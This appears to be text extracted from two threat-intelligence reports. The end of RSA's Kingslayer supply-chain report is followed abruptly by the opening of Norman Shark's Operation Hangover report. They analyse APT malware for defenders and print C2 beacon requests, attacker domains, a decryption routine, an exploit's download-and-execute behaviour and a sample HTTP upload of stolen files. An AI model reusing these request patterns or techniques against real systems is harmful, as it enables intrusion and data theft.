5 https://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf 6 http://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/ 7 https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks https://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf http://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/ https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks 11 RECALLING ANOTHER SOFTWARE SUPPLY-CHAIN ATTACK The Kingslayer campaign shares similarities with another supply-chain attack.
In the Monju Incident 8 the attackers subverted an otherwise legitimate soft- ware server by using a redirect to a different, unrelated website controlled by the actors.
Like Kingslayer, the target system with the already installed soft- ware would attempt to get an update, but instead received a malicious payload purporting to be an update that consisted of the original application software bundled with a Trojan, instead of a legitimate update.
In the Kingslayer attack, systems attempting to get updates to an already installed Windows operating systems log analysis software program were transparently redirected to a web- site controlled by the Kingslayer actors, in which the illegitimate website would download a subverted update executable.
What may have differed from the Monju incident was the fact that while all software installations that attempted to update during the Kingslayer campaign received a malicious but otherwise functioning update, we do not know how many of them also received the sec- ondary malware.
It is this secondary malware that has not yet been found in the wild.
We have no evidence to suggest the actors behind the Monju Incident and King- slayer are related, other than they used one or more of the same tactics.
Figure 4 How Kingslayer backdoor is linked to identified Codoso/Schoolbell campaign infrastructure (available for download in Annex 1) 8 http://www.contextis.com/documents/30/TA10009_20140127_-_CTI_Threat_Advisory_-_ The_Monju_Incident1.pdf http://www.contextis.com/documents/30/TA10009_20140127_-_CTI_Threat_Advisory_-_The_Monju_Incident1.p http://www.contextis.com/documents/30/TA10009_20140127_-_CTI_Threat_Advisory_-_The_Monju_Incident1.p 12 KINGSLAYERS MEMORY-RESIDENT BROTHER, THE K2 TROJAN RSA Research believes all of the particular Alpha application installations at- tempting to update during the 17 day Kingslayer subversion window received a malicious but otherwise functioning update.
We do not know how many of them also received the secondary malware.
Using passive analysis, RSA Research was able to identify the probable beaconing activity pattern used by the secondary malware.
Like the Kingslayer backdoor loader, the secondary malware used the domain www.oraclesoft[.
]net for C2.
We have dubbed this secondary malware Kingslayer Two or K2.
The beaconing pattern of K2 differed from the King- slayer backdoor that loaded it.
K2 beacons every ten minutes without a defined sleep period.
Based on passively observed beacon activity from three different K2-infected systems, we believe K2s HTTP GET beacon pattern is a three to four digit load identifier that may represent the K2 malware load sequence assigned to each unique infection.
This number appeared to be both unique, and static for each infected system.
So 3423 in Table 1 might represent the 3,423rd unique system loaded with the K2 Trojan.
WHY SOFTWARE SUPPLY-CHAIN ATTACKS ARE HERE TO STAY Supply-chain attacks provide strategic advantages to attackers for several rea- sons.
First, they provide one compromise vector to multiple potential targets.
Second, supply chain exploitation attacks, by their very nature, are stealthy and have the potential to provide the attacker access to their targets for a much lon- ger period than malware delivered by other common means, by evading tradi- tional network analysis and detection tools.
And finally, software supply chain attacks offer considerable bang for the buck against otherwise hardened targets9 .
RSA Research also has insight into K2 Trojans capabilities based on the arti- facts left on a system that had K2 installed.
(
See Appendix B)  From the forensic artifacts, RSA Research infers that K2s capabilities include: running arbitrary Windows shell commands with SYSTEM-level privileges, upload and download of files, and execution of programs uploaded by the attackers.
Table 1 Kingslayer secondary malware K2 with possible load identifier highlighted in yellow 9 https://www.ncsc.gov.uk/content/files/protected_files/guidance_files/Cyber-security-risks-in- the-supply-chain.pdf GET /softs/updatecheck.html?3423464336 HTTP/1.1 User-Agent: Mozilla/5.0 (compatible MSIE 10.0 Windows NT 6.1 WOW64 Trident/6.0) Host: www.oraclesoft.net https://www.ncsc.gov.uk/content/files/protected_files/guidance_files/Cyber-security-risks-in-the-sup https://www.ncsc.gov.uk/content/files/protected_files/guidance_files/Cyber-security-risks-in-the-sup 13 In the case of Kingslayer, this especially rings true because the specific sys- tem-administrator-related systems most likely to be infected offer the ideal beachhead and operational staging environment for systematic exploitation of a large enterprise.
Subverting an application used almost exclusively by enterprise Windows system administrators gives the perpetrators direct access to the most sensi- tive parts on an organizations network via a workstation or server used reg- ularly by the king of the network.
A system administrators workstation and cache of credentials invariably provides the most access of any system on an enterprise network.
In our experience, the credentials maintained by system administrators usually enable extensive access to internal and external network infrastructure of even the most sensitive organizations enterprise.
RSA Re- search observed Kingslayer installed on the workstation of the senior systems administrator at one organization and on the domain controllers of another organization.
We assess that installations of the targeted application on work- stations or servers with unprivileged users would be exceptions, rather than the rule, because the purpose of the targeted log analyzer software is to be used by system, security, and other privileged administrators.
SOFTWARE VENDORS, AND SYSADMINS ON NOTICE Subversion of an application preferentially used by enterprise system or secu- rity administrators provides an advanced threat group a nearly unprecedented best bang for the buck.
There is no need to craft phishing emails, or sort the chaff from successful but unfruitful malware infections.
It would not be hard to posit that Kingslayer might serve as a template for other attacks on otherwise hardened enterprise networks.
This should put the developers of applications and software aimed for exclusive use by enterprise network administrators on notice.
Although the following are good tenants of all software vendors, they are especially important when the application in question would disproportion- ality be used by administrators of a network.
These include: File integrity monitoring Secure (dedicated or virtually private) hosting Validated time stamping of digital signatures Secure storage of and deployment of code-signing keys, ideally employing a High Security Module (HSM) Comprehensive network and endpoint visibility of development environment Breach disclosure policy that ensures timely incident notification to affected customers 14 Enterprise network administrators should take heed that they are perhaps the most important and pivotal target for advanced threats interested in what might be found on those enterprise networks10 .
Network admins should not exempt their own systems, or systems to which only they have access, from network and endpoint visibility.
Sysadmins should also contribute to and follow a change control policy that evaluates the software vendor and the software itself for potential risk, prior to installing it11 .
HOW WAS THE KINGSLAYER INVESTIGATION INFORMED?
The analysis that informed the Kingslayer campaign investigation is described in general terms as iterative, using many and any friendly means employed by a multi-disciplinary team.
While characterizing the purpose, impact and extent of the malicious activity perpetrated by the Kingslayer campaign operators, RSA Research provided dozens of hours of advanced incident and analysis support to infected organizations identified by sinkholing and passive means.
Sometimes our support was in exchange for threat intelligence artifacts left behind by the actors.
At other times we provided advice and expertise with the understanding that the infected organization would not or could not provide any information in return.
We collaborated with many colleagues in the secu- rity industry, reached out to new partners as well as called upon the extensive capabilities of SecureWorks, a Dell Technologies company.
DETECTION OF KINGSLAYER, AND THE NEXT SOFT- WARE SUPPLY CHAIN ATTACK Techniques deployed by industry-wide antivirus and endpoint prevention tech- nologies are decidedly poorly equipped for detecting, much less preventing, a remote code-loading backdoor inserted into what would otherwise be a legit- imate software product.
This is exactly what the Kingslayer actors did in their campaign.
In our experience, signature or behavior-based antivirus is unable to differenti- ate between a network-enabled feature and a backdoor in the product.
In fact, RSA Research first identified the Kingslayer backdoor installed on an enterprise system that employed next generation antivirus.
The antivirus failed to detect anything, even when it appeared the backdoor had downloaded and loaded the secondary malware into memory, and opened connections for C2.
10 http://www.slideshare.net/harmj0y/i-hunt-sys-admins-20 11 http://csrc.nist.gov/scrm/documents/briefings/Workshop-Brief-on-Cyber-Supply-Chain-Best- Practices.pdf http://www.slideshare.net/harmj0y/i-hunt-sys-admins-20 http://csrc.nist.gov/scrm/documents/briefings/Workshop-Brief-on-Cyber-Supply-Chain-Best-Practices.pd http://csrc.nist.gov/scrm/documents/briefings/Workshop-Brief-on-Cyber-Supply-Chain-Best-Practices.pd 15 RSA NETWITNESS ENDPOINT EDR TOOL Compare this antivirus failure with RSA NetWitness Endpoint, an Enterprise Detection and Response (EDR) tool that is available to RSA customers and is notably used by the RSA IR Team in their customer engagements.
On a lab Windows system, RSA Research recreated the Kingslayer backdoor installa- tion, then deployed RSA NetWitness Endpoint.
In Figure 5, we see that RSA NetWitness Endpoint identified an instance of [FLOATING_CODE], revealing that the backdoored Service.exe process established multiple connections.
[
FLOATING_CODE] identifies a block of code present in a process private executable address space, as opposed to a library properly loaded from disk.
Floating code is missing a normal DLL header.
In otherwise, legitimate software with a backdoor such as that employed by Kingslayer, the network connections were established from that allocated block of code, which is suspicious.
Figure 5 RSA NetWitness Endpoint detection of the Kingslayer backdoor 16 In Figure 6, a threat hunter behind the RSA NetWitness Endpoint console dug into the network details tab, to reveal the multiple connections to a suspicious domain.
Figure 6 RSA Netwitness Endpoint details the network connections kicked off by Kingslayers floating code RSA NETWITNESS PACKETS AND LOGS While RSA NetWitness Endpoint will flag the floating code of Kingslayer, a method to detect the network traffic of a backdoor compromise like Kingslayer with network packet visibility is also important.
Consider that the RSA IR team found a Kingslayer-compromised organization enjoyed multiple weeks of stat- ic compromise before the actor(s) arrived on scene to begin interactive lateral exploitation.
Early detection of compromise, then, can be key to dramatically reducing business risk.
The Event Stream Analysis (ESA) capability in RSA NetWitness technology was designed by researchers in the RSA Data Sciences team after analyzing billions of packets of known C2 activity.
ESA is the statistical threat hunting machine that never goes to sleep, using machine learning to calculate scores on a very large number of HTTP sessions and domains.
Indeed, even the unusual bea- coning patterns of the Kingslayer Trojan were flagged by the ESA as Suspected CC (Figure7).
17 Figure 7 ESA identifies Kingslayer beaconing as Suspected CC Even without the interactive C2 of an operator behind the keyboard that might trigger other alerts, consider how a Security Operations Center will be alerted to suspicious activity, and stop the compromise before an actor starts controlling assets inside the network.
For more details on how to hunt using RSA NetWitness capabilities such as ESA, refer to the RSA NetWitness hunting guide12.
12 https://community.rsa.com/docs/DOC-62341 https://community.rsa.com/docs/DOC-62341 18 HOW TO INVESTIGATE IF YOU MIGHT HAVE BEEN COMPROMISED BY KINGSLAYER An enterprise network finding that the subverted application was installed prior to and/or updated during the compromise window of 09-25 April 2015, should initiate an investigation.
While prevention of compromise through King- slayer might not have been possible without the most stringent change control policy and thorough software analysis and auditing, an investigation of what may have been done by Kingslayer actors should be initiated.
It is possible that the actors have established and still maintain avenues of access, especially on high-value target networks.
How can you tell if a system has had this subverted software installed?
The Yara signature included in the Kingslayer report annex, combined with a Yara-capable EDR tool, such as RSA NetWitness Endpoint, will facilitate a rapid enterprise survey for Kingslayer artifacts.
RSA Researchs Yara signature will detect artifacts from the stolen code-signing key used to sign DLLs and EXEs in the Kingslayer backdoor.
While this code-signing key was also used to sign some limited number of legitimate software versions, any hits with this signature warrants investigation.
Systems and Windows networks found with any of the Indicators of Compromise (IOCs) in the Kingslayer IOC list, should be analyzed for compromise.
Enterprise investigation should focus on identifying any ongo- ing C2 channels and activity, and an assessment of business risk/loss should a breach be indicated.
CONCLUSION RSA Research observed sustained activity from an advanced threat actor group over 18 months, tied to campaigns attributed to Codoso.
There was an evo- lutionary deployment of tools characterized by very low (if any) coverage by antivirus vendors.
In the course of our research and disruption of this malicious activity, RSA was able to uncover an advanced strategic targeting campaign involving a software supply chain attack aimed at sysadmins of large enterpris- es, dubbed Kingslayer.
While the entire target set of Kingslayer is unknown, RSA Research expects the information contained in this report to be useful for network defenders in determining if they have been Kingslayer subjects of compromise.
This may not be the last software supply chain attack from these or related actors.
We believe Kingslayer, with its inherent enterprise breach efficacy and long interlude before discovery, could serve as a template for future strategic network compromises.
We illustrated that it takes keen visibil- ity and awareness, and the right tools, to discover advanced threat activity like Kingslayer.
Finally, organizations need to have the ability to detect and respond to the next supply chain attack, before it has an impact on their business or mission.
19 ACKNOWLEDGEMENTS RSA Research would like to thank Chuck Helstein, Darien Huss of ProofPoint, Luis Garcia of luisangelgarcia.com, MS-ISAC13  and CCIRC14.
13 https://msisac.cisecurity.org 14 https://www.publicsafety.gc.ca/cnt/ntnl-scrt/cbr-scrt/ccirc-ccric-eng.aspx https://msisac.cisecurity.org https://www.publicsafety.gc.ca/cnt/ntnl-scrt/cbr-scrt/ccirc-ccric-eng.aspx 20 ANNEX 1: KINGSLAYER INDICATORS OF COMPROMISE (IOCS) Download available on rsa.com 15 Yara Signature: rule Kingslayer_codekey  meta: author  RSA Research date  03 February 2017 hash2  f97a2744a4964044c60ac241f92e05d7 hash3  76ab4a360b59fe99be1ba7b9488b5188 hash4  1b57396c834d2eb364d28eb0eb28d8e4 strings: val0   31 33 31 31 30 34 31 39 33 39 31 39 5A 17 0D 31 35 31 31 30 34 31 39 33 39 31 39 5A ven0   41 6C 74 61 69 72 20 54 65 63 68 6E 6F 6C 6F 67 69 65 73 uint16(0)  0x5A4D and val0 and ven0  15 21 APPENDIX A: EVENT LOG ANALYZER APPLICATION SERVICE EXECUTABLE ANALYSIS Table 2 shows the basic properties of the Kingslayer backdoored service execut- able Figure 8 shows the valid Authenticode digital signature of the service execut- able The Trojan functionality is initiated when the [Redacted]Service is started.
The [Redacted]ServiceMailCheck class is instantiated as an object and the Init- Check() Method is called.
Figure 9 shows the code responsible for the Init- Check().
Table 2 Malware file properties Figure 8 Valid Authenticode signature 22 The [Redacted]ServiceMailCheck class sets a mailID string to a base64 encoded value.
The InitCheck() Method then calls the public Method Run in a new thread (Figure 10).
The public Method Run checks the time and uses another encrypted string to set localization.
This decryption routine, detailed later, decrypts the encrypted string to Tokyo Standard Time and will only run on Saturday, Tuesday, Thurs- day and Friday, in a nine-hour window prior to midnight.
The malware is hard coded to sleep 20 minutes (2 different 10 minute windows) between beacons (Figure 11).
Figure 9 InitCheck() method Figure 10 Encoded string 23 The malware will decrypt the previously set MailID variable Ex9TAVIbX- ghSXAAFSVBLRE8QWU8QVQ8fQQINT0FJSklLEkQeDFEfQA).
Figure 12 depicts the decryption routine.
Figure 11 Beacon timing and interval Figure 12 Decryption routine 24 The routine will initially base64 decode the MailID variable, and then hash the decoded data with the MD5 hashing algorithm.
It will then set a seed byte based on the first byte of the decoded text.
Each byte of the text is XOR decrypted against its respective byte in the MD5 sum, and then further XOR decrypted by the seed byte.
The python script (Table 3) decodes encoded variables.
This script will output the decoded C2 URL.
The encoded data from this sample will decode to http://www.oraclesoft[.
]net/mailcheck.png (Figure 13).
This URL matched the traffic that was observed in the beaconing from Iota to the RSA sink hole.
Table 3 Python String decrypter to decode Kingslayers encoded variables Figure 13 Beacon matches decrypted URL 25 The LoadImage() Method creates a new thread and calls the ProcessThread() Method, passing the URL and password (Figure 14).
The ProcessThread() Method connects to the URL and builds the HTTP request as observed in network traffic.
This function then checks to see if the gzip HTTP response header is present and decompresses the payload.
It then sends the byte string to an unpacking function which writes the file to disk.
This activity is similar to that observed by a ProofPoint analyst in a post on Bergard and Codo- so.
The ProofPoint analyst observed the Bergard infection to receive instruc- tions from its C2 to retrieve a PNG file (Fig.
15) containing an encoded PlugX payload (md5: 5c36e8d5beee7fbc0377db59071b9980)16.
We do not know if the K2 Trojan decoded from the mailcheck.png image file discussed in the main body of this research paper was PlugX, or some other Trojan/RAT.
Figure 14 New thread for beacon 16 https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks 26 The malware then checks the downloaded and unpacked data to verify the first two bytes are decimal 77 90 (0x4D5A).
The malware performs these checks to ensure the data is a valid executable binary (Figure 16).
Figure 15 Unpacking method employed to load K2 Figure 16 K2 Trojan magic check 27 CloudClimb then calls the RunByML() method which checks if the file is a valid executable and runs it, then writes the status to the console (Figure 17).
Be- cause this software is running as a service, it is running in Windows Session 0 therefore the console is hidden from the user.
Figure 17 Additional payload execution 28 There exists an alternate path and URL to this DLL loading functionality.
In [Redacted]Service.
AnalyzeLogs.
Execute() email sending functionality there is an unencrypted URL and password (Figure 18).
The registration date of the domain (Table 4) contained in this URL coincides with the timeframe of the known compromise of Alphas source code and web- sites in late March, 2015.
Beaconing to this domain has not been observed and RSA Research believes this code will only execute if the application is configured to send email reports on logs.
In mid-2016 the domain registration for timekard[.
]com expired and was registered by a legitimate entity having nothing to do with the malicious activity described in this investigation.
Figure 18 Alternate URL in Kingslayer backdoor Table 4 2015 timekard.com registration details 29 APPENDIX B: SELECT FORENSIC FINDINGS FROM AN ENTERPRISE ADMINS MACHINE INFECTED WITH KINGSLAYER AND THE K2 SECONDARY MALWARE The machine investigated was used by Iotas principal Windows system admin- istrator, and had the backdoored event log analysis service installed on 22 April 2015 at 19:07:18 UTC (Table 5), which was in the known subversion window of Alphas websites.
The SYSTEM hive contains the Application Compatibility Cache entries.
These entries track executable files for compatibility purposes between Windows upgrades.
Several suspicious entries (Table 6) were discovered during the host triage.
It is important to note that the timestamps on these entries are the SI MTIME of the file and are not reliable indicators.
Table 5 Event log analysis application service installation Table 6 Suspicious ShimCache entries 30 ANALYSIS OF BP.EXE In this same directory an executable was discovered that will find, decrypt and display passwords saved in Chrome and Firefox (Table 7).
This file had an FN CTIME of 17 August 2015 12:26:20.292 and did not appear to be executed as it was not in the shimcache.
The file was owned by the Windows security identi- fier (SID) S-1-5-32-544, the SYSTEM account.
This matches with the owner of the running backdoored event log analysis service, which also runs as SYSTEM.
The password dumper starts by gathering system information about the cur- rent logged-on user in order to discover the individual user paths such as C:\ Users\Usera\AppData.
It then begins reading the SQLlite database files and decrypting saved passwords.
The sample has the SQLite libraries statically linked at compile time, which ac- counts for the large size.
It then leverages these functions to query the SQLite database to retrieve the encrypted stored passwords.
Table 7 Password dumper Figure 19 SQLite database file path 31 Sub_401BA9 leads to a series of calls to get the logged on user, impersonate that user in order to open the Windows key store to retrieve the encryption keys and, finally, decrypts the users stored passwords.
If the sample was successful, it will print the decrypted URL, Username and Password to the terminal.
Figure 20 Selecting encrypted passwords Figure 21 Stored password decryption 32 After the sample has finished with Chrome passwords it moves on in a similar fashion to stored Firefox passwords and prints them to the terminal.
Figure 22 Terminal output of password dumper Figure 23 Firefox output
Snorre Fagerland, Morten Krkvik, and Jonathan Camp Norman Shark AS Ned Moran Shadowserver Foundation Part of a PDF decoy from one of the malicious installers (md5 06e80767048f3edefc2dea301924346c).
May 2013 Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 2 Executive summary In this report we detail a cyberattack infrastructure that appears to be Indian in origin.
This infrastructure has been in operation for at least three years, more likely close to four years.
The purpose of this framework seems predominantly to be a platform for surveillance against targets of national security interest (such as Pakistan), but we will also show how it has been used for industrial espionage against the Norwegian telecom corporation Telenor and other civilian corporations.
The name, Operation Hangover, was derived from the name of one of the most frequently used malwares.
The project debug path is often visible inside executable files belonging to this family.
None of the information contained in the following report is intended to implicate any individual or entity, or suggest inappropriate activity by any individual or entity mentioned.
Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 3 Background On Sunday March 17th 2013 the Norwegian newspaper Aftenposten reported that the telecommunications giant Telenor had filed a case with Norwegian criminal police (KRIPOS) over what was perceived as an unlawful intrusion into their computer network.
The infection was reported to have been conducted via spear phishing emails sent to people in the upper tiers of management.
Initially, we had no information or visibility into this case.
However, after some time Norwegian CERT (NorCERT) shared some data from the event, which included md5 hashes of malicious files and information about which Command and Control servers were used.
However, the data we were given acted as a starting point for more data mining, and within a short period of time it became obvious that we were seeing a previously unknown and very extensive infrastructure for targeted attacks.
This paper is the result of the ensuing investigation.
Timeframe The samples we have uncovered seem to have been created from approximately September 2010 until the present day.
It appears 2012 was a very active year for this group, which saw escalation not only in numbers of created malware files but also in targets.
There is no sign that the attacks will slow down in 2013, as we see new attacks continuously.
Acknowledgments We would like to thank NorCERT, the Norwegian National Security Authority, Telenor and Telenor SOC for their assistance and cooperation during the investigation of this case.
We would also like to thank ESET for graciously sharing information they were in possession of, and finally we would like to express our gratitude to the people who created our database and analysis systems.
These systems enable us to do the data correlation needed to find needles in haystacks, so their creators own a large part of this paper as well.
Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 4 Terms used CC, C2, CC: Command- and Control server.
Typically used about the computer the malware connects to in order to report status.
Drop:  The online location where malware delivers stolen information.
FUD:  One meaning of this acronym is Fear, Uncertainty and Doubt, but in the malware underground FUD means Fully UnDetectable, i.e.
the program is not detected by antivirus tools.
MD5:  A so-called hash  i.e.
a number calculated on the basis of data that identifies these with high confidence.
MD5s in this paper are used to identify files.
RTF:  Rich Text Format, a document format SFX:  Self-extracting.
Executable programs that are also archives, and which extract and sometimes execute the archive content when run.
Sinkholing: A technique of re-registering a domain that has previously been used for malicious purposes.
By doing this, machines that are still infected connect to our computer instead of the attackers, and we can log the connection attempts.
Spear phishing: To send emails with malicious content (attachments, links, or fraudulent messages) to specific persons of particular interest.
Zero day exploits: Program code to attack software vulnerabilities for which there is no patch.
Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 5 Telenor intrusion Initially we had no knowledge of the malware samples involved in the attack on Telenor.
However, some days after the attack we received MD5 hashes of the samples used.
We only found two of these samples in our own datasets, but we later directly received copies of most other samples connected with the case (Appendix A).
The initial spear phishing mail contained two files as attachments  a document named 220113.doc, and an executable file few important operational documents.doc.exe.
(
MD5 bd52237db47ba7515b2b7220ca64704e).
This was a selfextracting (SFX) ZIP archive that contained two files, as shown below.
When run, the installer will execute the included conhosts.exe file and open the decoy document legal operations.doc.
legal operations.docand 220113.doc also included in the mail are identical save for their size, and  are actually specially crafted RTF files designed to trigger a software vulnerability (CVE-2012-0158) in Microsoft Common Controls, typically triggered in Microsoft Word.
If the vulnerability is triggered, embedded code in the document will be run.
This code is encrypted, but after decryption its real purpose becomes visible: The file windwn.exe is downloaded and executed by this mechanism.
Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 6 Fig.
The behaviour of windwn.exe in Norman Malware Analyzer G2.
The persistence mechanism, VBScript execution and data exfiltration is enough to trigger alerts.
The files conhosts.exe (MD5 02d6519b0330a34b72290845e7ed16ab) and windwn.exe (MD5 bfd2529e09932ac6ca18c3aaff55bd79) are both minimally obfuscated Visual Basic executables.
They connect to the Command and Control server wreckmove.org (188.240.47.145) via HTTP on port 80, using a peculiar and recognizable pattern: GET /flaws/snwd.php?tp1tg[ID]tvError[]ts[PLATFORM]mt[account]tr[NoFiles]Y1Y5F2 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 7.0 Windows NT 5.1 Trident/4.0 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: wreckmove.org Connection: Keep-Alive Other samples found connected to the case were Delphi information stealers (some highly targeted, down to individual username), file splitter tools, C information stealers (keyloggers, screen grabbers and file harvesters), and various other malware written in Visual Basic.
The following CC domains/IP addresses were observed used in the attack: Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 7 wreckmove.org infocardiology.biz enlighten-energy.org researcherzone.net 151.237.188.167 gadgetscorner.org Telenor epilogue On the 3rd of April the attackers created another attack package and placed it on the URL http://mail.telenor.no-cookieauth.dll-getlogon-reason-0.formdir-1-curl-z2fowaz2f.infocardiology.biz/ 01084204_Telenor_New_Satellite_Client_Agreement_30032013.zip.
The package is quite similar to the first, though the decoy document is this time a Powerpoint presentation, 01084204_Telenor_New_Satellite_Client_Agreement_30032013.ppt.
This is an apparently legitimate Telenor draft written in 2002 using a Norwegian PowerPoint installation.
The included trojan downloader connects this time back to the domain torqspot.org.
The attackers also created the subdomain internet-security-suite-review.toptenreviews.com.infocardiology.biz, a spoof of the real toptenreviews.com site.
On this site theres what appears to be an installer for the Bitdefender antivirus product (bitdefender_tsecurity.zip, md5 62b702a15a762692eda296b0aea270f9), but the zip file contains both a real installer and a Visual Basic trojan identical to the one used against Telenor.
The Telenor-related attack seems not to be over.
Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 8 Case expansion through related files The behaviour pattern and the file structure of known files made it possible to search internal and public databases for similar cases.
The large amount of new malware being created makes it infeasible to conduct malware-related investigations of any scale without strong database support.
In our case, we preserve the behavioural information of all files processed by our internal bank of Norman MAG2 automatic analysis systems.
Searching internal databases for behavioural similarities: In this case, the particular VB script execution, but theres a wealth of attributes we can cluster by.
There are also several public and commercial databases available for additional data mining, and Google is invaluable.
The amount of malware we found through this was surprisingly large, and it became clear that the Telenor intrusion was not a single attack but part of a continuous effort to attack and compromise governments and corporations around the world.
Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 9 While investigating the extra cases we identified, we accidentally discovered that a number of their CC servers contained world readable folders.
We were able to navigate into these and secure the data stored there.
The data contained in these folders were mainly connection logs, keylogs and other uploaded data from computers affected with malware.
Many of the collected logs were from automated analysis systems belonging to security companies, but not all.
An important find we did on these servers were additional malicious executables, probably meant to be served to infected users.
Some of these executables were digitally signed with a certificate which was revoked in 2011: Technical and Commercial Consulting Pvt.
Ltd. VeriSign Class 3 Code Signing 2010 CA Serial number: 4bf1d68e926e2dd8966008c44f95ea1c Revoked Nov 24th 2011 Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 10 Searching our certificate databases we found a large number of other executables similarly signed, none of which were found to be innocent applications.
Certificate database hits Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 11 Case expansion through domain usage and registrations In almost all cases, the domains registered by the attackers are privacy protected.
This means that the registrant has paid the domain registrar to withhold identity information related to the registration.
This is done almost to perfection.
Another feature is that almost all websites belonging to this attacker has their robots.txt set to disallow to stop them from being crawled.
However, by searching historical IP data for the IP addresses of domains known to be involved we found a number of other domains likely belonging to the same infrastructure.
These domains were then further verified against malware samples to ascertain valid connection to attackers.
Some care needs to be taken when working with IP addresses, as there are possibilities of false correlations on, for example, domain parking IP addresses, sinkholes and webhosting servers.
IP history on researcherzone.net.
Source: DomainTools A selection of passive DNS data on just one of the known IP addresses which was known to have served malware (1) .. gamezoneall.com.
A 173.236.24.254 khalistancalling.com.
A 173.236.24.254 rigidphotography.com.
A 173.236.24.254 researcherzone.net.
A 173.236.24.254 f00dlover.info.
A 173.236.24.254 hotbookspot.info.
A 173.236.24.254 ns1.zerodayexploits.org.
A 173.236.24.254 .. Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 12 Additional data may be gleaned by querying the IP addresses themselves.
Many have set up a default ESMTP (mail) server on port 587/tcp, which responds with a configured banner.
For example, the domain onlinestoreapp.net (used by malware MD5 a7b5fce4390629f1756eb25901dbe105) resolved to the IP address 37.59.231.161, and this happens when connecting to that IP on ESMTP: enlighten-energy.org is another of the known bad domains used against Telenor.
All of this enabled us to draw a domain map over the infrastructure (next page).
This map is probably larger than shown here there might be domains owned by the attackers that are not plotted on this map because we could not prove they were malicious, and many domains we have not found yet.
Conversely, many of the domains plotted were used in attacks years ago and may never be again.
telnet 37.59.231.161 587 Trying 37.59.231.161...
Connected to 37.59.231.161.
Escape character is ].
220 server.enlighten-energy.org ESMTP Exim 4.80.1 Sat, 23 Mar 2013 16:44:44 -0400 Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 13 Above: Domain map of the attack infrastructure.
Yellow and orange nodes constitute domains, where the orange have been verified malicious and yellow are likely malicious.
Blue nodes are IP addresses, and purple are autonomous systems (AS).
Green nodes are domains that are not part of any attack pattern, but are interesting in this context.
Red nodes show connections to known or likely attacks.
Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 14 Exploits Whereas other targeted attack actors often rely extensively on the use of software exploits to plant their malware, this is rarely done by this attack group.
As far as we can tell they are only using known vulnerabilities no zero day attacks.
Documents The first exploit we observed was included in the RTF files used in the Telenor attack.
The exploit in question was CVE-2012-0158, a very common vulnerability to exploit.
The actual document is binary very similar to other documents (51ee31f234db61b488647915f8d7d4c8, 00978e4b81ac577f328d6add75d0890e, 17a31d1075ebce41ba48a9efacb79d28...) which have been used in other targeted attacks by these threat actors.
The shellcode contains a date check, which means it will stop working after a certain date.
In the Telenor case, the date was February 16th 2013, and in the most recent variations the timeout date is set to May 21nd 2013.
If the exploit is triggered before the timeout date the shellcode does two different things: Posts system info (machinename, timezone, ID, running processes) to a PHP script residing on the website random123.site11.com.
Downloads and executes an executable from remote sites.
We have seen softmini.net, www.infocardiology.biz, www.getmedia.us, www.technopenta.org, and autowidge.org used for this.
The executables downloaded have usually themselves been downloaders.
In a couple of cases we have observed final payload to be Dark Comet, a well-known backdoor trojan, but unusual for this group to use.
Web When we investigated the attacker domain structure we found more exploit code.
This time it was implemented as a script in the main web page of the domain you-post.net.
The exploit is this time CVE- 2012-4792, an Internet Explorer vulnerability.
When it triggers it downloads and runs a malicious executable from the domain softmini.net also the domain used by two of the three documents mentioned above.
Softmini.net seems to be a hub for exploitcode its subdomain get.adobe.flash.softmini.net contains an active Java exploit (CVE-2012-0422) which attempts to install the same trojan as the IE exploit above.
Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 15 The Smackdown downloaders Most of the first stage malware weve seen used in attacks are variants of Smackdown, a large family of Visual Basic downloaders which for the most part seem to be written by a person calling himself Yash or Yashu.
These have evolved over time and are using different levels of obfuscation on text strings.
Typically the trojan begins by uploading system information to a PHP script on the CC server.
The attacker can decide separately which infected machine should receive additional malware.
The second stage malware is usually Hanove but other malware families are also used.
Different text obfuscations in a Smackdown miNaPro downloader.
Reversed strings, character code encoding and inserting garbage  characters.
Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 16 The HangOver malware, aka Hanove The second stage malware are often variants of HangOver, information stealers written in C. They appear to be written over a common framework as many internal functions are identical, but overall functionality can vary quite a bit from one subtype to another.
The first versions of these may have been based on code from an innocent backup utility as the word backup is often present.
Hanove Uploaders recursively scan folders looking for files to upload.
What kind of files they look for are usually defined in resources as an extension list, and these lists vary.
Here are a few examples: Hanove keyloggers set up keyboard hooks or polls to capture keypresses and log these to a text file.
Some variants capture other data as well, such as clipboard content, screenshots, titles of open windows and content of browser edit fields.
Timed events are set up to upload the data to the remote server.
The stolen data are uploaded to remote servers by FTP or HTTP.
A typical HTTP request looks like this: .doc.xlxs.docx.rtf .doc.xlxs.docx.rtf.jpg.ppt.pps.pdf.xlx .doc.xlsx.docx.rtf.pdf.xls.ppt.txt.inp.kmz.pps.uti POST /up.php HTTP/1.1 Content-Type: multipart/form-data boundaryF39D45E70395ABFB8D8D2BFFC8BBD152 User-Agent: EMSFRTCBVD Host: remotedomain.com Content-Length: 5050 Cache-Control: no-cache --F39D45E70395ABFB8D8D2BFFC8BBD152 Content-Disposition: form-data nameuploaddir subfolder/username-machinename/C/ --F39D45E70395ABFB8D8D2BFFC8BBD152 Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 17 UserAgent strings vary between versions.
